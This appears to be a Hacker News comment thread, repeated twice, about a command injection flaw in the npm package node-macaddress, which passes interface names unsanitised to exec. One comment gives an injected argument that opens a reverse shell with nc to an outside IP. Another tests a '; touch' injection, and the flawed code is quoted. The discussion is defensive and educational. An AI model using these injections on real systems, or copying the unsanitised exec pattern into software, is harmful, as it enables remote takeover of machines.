7 ms·

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may eve

by koolba 8y ago

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/linux.js#L4 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

MrLeap 8y ago
Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument. The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
- arghwhat 8y ago
  The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.
- mikeash 8y ago
  Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.
arghwhat 8y ago
This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).
- drdaeman 8y ago
  Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.
  - arghwhat 8y ago
    exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome. Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
    - drdaeman 8y ago
      My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness. It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
    - nucleardog 8y ago
      Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying: For particular interface like for eth0: cat /sys/class/net/eth0/address Then without thought or understanding, put that into their JavaScript as directly as possible. This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
donkeyd 8y ago
In what scenarios could this be abused?
- martinald 8y ago
  If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node). Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app. This package has nearly 100M downloads a year which is pretty astonishing.
  - donkeyd 8y ago
    I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.
    - martinald 8y ago
      An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit. The more worrying fact is something like this which could easily be drawn in to 100m installs.
- parenthephobia 8y ago
  Anything which passes "iface" through without sanitising it. The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access. e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
  - deelowe 8y ago
Mister_Snuggles 8y ago
Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad. Ironically, I don't see this problem in the Windows version[2]. [0] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/unix.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [1] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/macosx.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [2] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
- koolba 8y ago
  I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds. That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js#L15 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
tomxor 8y ago
Nodejs API docs for exec say: > Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution. I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply: From GNU Bash 3.1.2.2 Single Quotes: > Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash. In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?: exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {}) Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g iface = `'; touch /uhoh;` results in the following string passed to exec cat '/sys/class/net/; touch /uhoh;/address' => cat: '/sys/class/net/; touch /uhoh/address': No such file or directory Also you can't do further exec inside single quotes with backticks e.g cat '/sys/class/net/` touch /uhoh `/address' => cat: '/sys/class/net/`touch /uhoh`/address': No such file or directory
- alxlaz 8y ago
  In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).
  - tomxor 8y ago
    > In this particular case, you know the result has to be a subpath under /sys/class/net I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous. But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
Boulth 8y ago
This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories https://nodesecurity.io/advisories
- f055 8y ago
  I'm shocked. There are almost 30 advisories in May alone that are 7+. To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885/Perl.html https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
  - staticassertion 8y ago
    Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.
    - f055 8y ago
      Generally, how much vulnerabilities is too much? I think Node is past this point.
      - staticassertion 8y ago
        There is no limit - as I said, counting is pointless. As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not. Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk? Counting vulns is pointless.
        f055 8y ago
rms_returns 8y ago
There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.
- megous 8y ago
  These kinds of bugs are language independent, the source is between the screen and the keyboard.
  - xorcist 8y ago
    The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself. If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
  - grumdan 8y ago
    They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one: http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740 https://news.ycombinator.com/item?id=8558740) However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
    - staticassertion 8y ago
      > Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects It's just bias. Python code is riddled with vulns - especially since it's all C under the hood. https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5 https://hackernoon.com/python-sandbox-escape-via-a-memory-co... Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython. This is a particularly relevant quote: > Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
DisMeUrBro 8y ago
> That's some serious amateur hour Can confirm, "NPM" is in the post's title.
amluto 8y ago
> after verifying that the iface parameter does not contain a directory separator. No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
- okdana 8y ago
  How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want: % sudo ip link set eth3 down % sudo ip link set eth3 name "'deal-with-it'" % sudo ip link show "'deal-with-it'" 5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.
  - tedunangst 8y ago
    So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?
  - amluto 8y ago
    So does Linux allow .. as an interface name? If so, that’s nuts.
furgooswft13 8y ago
Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file. Perhaps I should make a new npm module named cat module.exports = require('fs').readFile; and saved the day.
- tomxor 8y ago
  You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell. My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
duxup 8y ago
I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?
- sli 8y ago
  Yes. You will simply never catch every possible case that can potentially cause harm.
  - duxup 8y ago
    Thank you. That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.
- tomxor 8y ago
  Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec. The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics. I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too. It seems like it's just best avoided unless absolutely necessary (most often it's not).
danmg 8y ago
Also this interface assumes that the kernel is using sysfs.

by koolba 8y ago

MrLeap 8y ago

Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument. The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?

arghwhat 8y ago
The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.
mikeash 8y ago
Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.

arghwhat 8y ago

This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).

drdaeman 8y ago
Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.
- arghwhat 8y ago
  exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome. Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
  - drdaeman 8y ago
    My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness. It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
  - nucleardog 8y ago
    Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying: For particular interface like for eth0: cat /sys/class/net/eth0/address Then without thought or understanding, put that into their JavaScript as directly as possible. This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.

donkeyd 8y ago

In what scenarios could this be abused?

martinald 8y ago
If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node). Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app. This package has nearly 100M downloads a year which is pretty astonishing.
- donkeyd 8y ago
  I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.
  - martinald 8y ago
    An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit. The more worrying fact is something like this which could easily be drawn in to 100m installs.
parenthephobia 8y ago
Anything which passes "iface" through without sanitising it. The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access. e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
- deelowe 8y ago

Mister_Snuggles 8y ago

Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad. Ironically, I don't see this problem in the Windows version[2]. [0] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/unix.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [1] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/macosx.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [2] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

koolba 8y ago
I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds. That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js#L15 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

tomxor 8y ago

Nodejs API docs for exec say: > Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution. I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply: From GNU Bash 3.1.2.2 Single Quotes: > Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash. In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?: exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {}) Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g iface = `'; touch /uhoh;` results in the following string passed to exec cat '/sys/class/net/; touch /uhoh;/address' => cat: '/sys/class/net/; touch /uhoh/address': No such file or directory Also you can't do further exec inside single quotes with backticks e.g cat '/sys/class/net/` touch /uhoh `/address' => cat: '/sys/class/net/`touch /uhoh`/address': No such file or directory

alxlaz 8y ago
In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).
- tomxor 8y ago
  > In this particular case, you know the result has to be a subpath under /sys/class/net I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous. But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?

Boulth 8y ago

This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories https://nodesecurity.io/advisories

f055 8y ago
I'm shocked. There are almost 30 advisories in May alone that are 7+. To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885/Perl.html https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
- staticassertion 8y ago
  Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.
  - f055 8y ago
    Generally, how much vulnerabilities is too much? I think Node is past this point.
    - staticassertion 8y ago
      There is no limit - as I said, counting is pointless. As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not. Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk? Counting vulns is pointless.
      - f055 8y ago

rms_returns 8y ago

There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.

megous 8y ago
These kinds of bugs are language independent, the source is between the screen and the keyboard.
- xorcist 8y ago
  The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself. If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
- grumdan 8y ago
  They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one: http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740 https://news.ycombinator.com/item?id=8558740) However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
  - staticassertion 8y ago
    > Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects It's just bias. Python code is riddled with vulns - especially since it's all C under the hood. https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5 https://hackernoon.com/python-sandbox-escape-via-a-memory-co... Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython. This is a particularly relevant quote: > Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.

DisMeUrBro 8y ago

> That's some serious amateur hour Can confirm, "NPM" is in the post's title.

amluto 8y ago

> after verifying that the iface parameter does not contain a directory separator. No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.

okdana 8y ago
How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want: % sudo ip link set eth3 down % sudo ip link set eth3 name "'deal-with-it'" % sudo ip link show "'deal-with-it'" 5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.
- tedunangst 8y ago
  So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?
- amluto 8y ago
  So does Linux allow .. as an interface name? If so, that’s nuts.

furgooswft13 8y ago

Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file. Perhaps I should make a new npm module named cat module.exports = require('fs').readFile; and saved the day.

tomxor 8y ago
You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell. My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.

duxup 8y ago

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

sli 8y ago
Yes. You will simply never catch every possible case that can potentially cause harm.
- duxup 8y ago
  Thank you. That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.
tomxor 8y ago
Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec. The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics. I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too. It seems like it's just best avoided unless absolutely necessary (most often it's not).

danmg 8y ago

Also this interface assumes that the kernel is using sysfs.